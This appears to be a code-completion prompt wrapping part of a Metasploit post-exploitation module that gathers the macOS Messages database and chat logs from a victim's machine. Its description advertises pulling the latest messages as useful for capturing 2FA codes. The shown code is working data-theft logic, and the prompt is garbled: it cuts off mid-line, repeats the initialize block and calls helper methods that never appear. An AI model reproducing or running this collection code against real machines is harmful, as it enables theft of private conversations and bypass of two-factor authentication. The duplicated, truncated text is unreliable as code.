You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: enum_messages.rb
    path of file: ./repos/metasploit-framework/modules/post/osx/gather
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'OS X Gather Messages',
        'Description' => %q{
          This module will collect the Messages sqlite3 database files and chat logs
          from the victim's machine. There are four actions you may choose: DBFILE,
          READABLE, LATEST, and ALL. DBFILE and READABLE will retrieve all messages, and
          LATEST will retrieve the last X number of messages (useful with 2FA). Module
          was tested with OS X 10.11 (El Capitan).
        },
        'License' => MSF_LICENSE,
        'Author' => ['Geckom <geckom[at]redteamr.com>'],
        'Platform' => ['osx'],
        'SessionTypes' => ['meterpreter', 'shell'],
        'Actions' => [
          ['
    
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'OS X Gather Messages',
        'Description' => %q{
          This module will collect the Messages sqlite3 database files and chat logs
          from the victim's machine. There are four actions you may choose: DBFILE,
          READABLE, LATEST, and ALL. DBFILE and READABLE will retrieve all messages, and
          LATEST will retrieve the last X number of messages (useful with 2FA). Module
          was tested with OS X 10.11 (El Capitan).
        },
        'License' => MSF_LICENSE,
        'Author' => ['Geckom <geckom[at]redteamr.com>'],
        'Platform' => ['osx'],
        'SessionTypes' => ['meterpreter', 'shell'],
        'Actions' => [
          ['DBFILE', { 'Description' => 'Collect Messages DB file' }],
          ['READABLE', { 'Description' => 'Collect Messages DB and download in a readable format' }],
          ['LATEST', { 'Description' => 'Collect the latest message' }],
          ['ALL', { 'Description' => 'Collect all Messages data' }]
        ],
        'DefaultAction' => 'ALL'
      )
    )

    register_options(
      [
        OptInt.new('MSGCOUNT', [false, 'Number of latest messages to retrieve.', 3]),
        OptString.new('USER', [false, 'Username to retrieve messages from (defaults to current user)'])
      ]
    )
  end

  def run
    user = datastore['USER'] || cmd_exec('/usr/bin/whoami')

    # Check file exists
    messages_path = "/Users/#{user}/Library/Messages/chat.db"
    if file_exist?(messages_path)
      print_good("#{peer} - Messages DB found: #{messages_path}")
    else
      fail_with(Failure::Unknown, "#{peer} - Messages DB does not exist")
    end

    # Check messages.  And then set the default profile path
    unless messages_path
      fail_with(Failure::Unknown, "#{peer} - Unable to find messages, will not continue")
    end

    print_good("#{peer} - Found Messages file: #{messages_path}")

    files = []

    # Download file
    files << get_db(messages_path) if action.name =~ /ALL|DBFILE/i
    files << readable(messages_path) if action.name =~ /ALL|READABLE/i
    files << latest(messages_path) if action.name =~ /ALL|LATEST/i

    save(files)
  end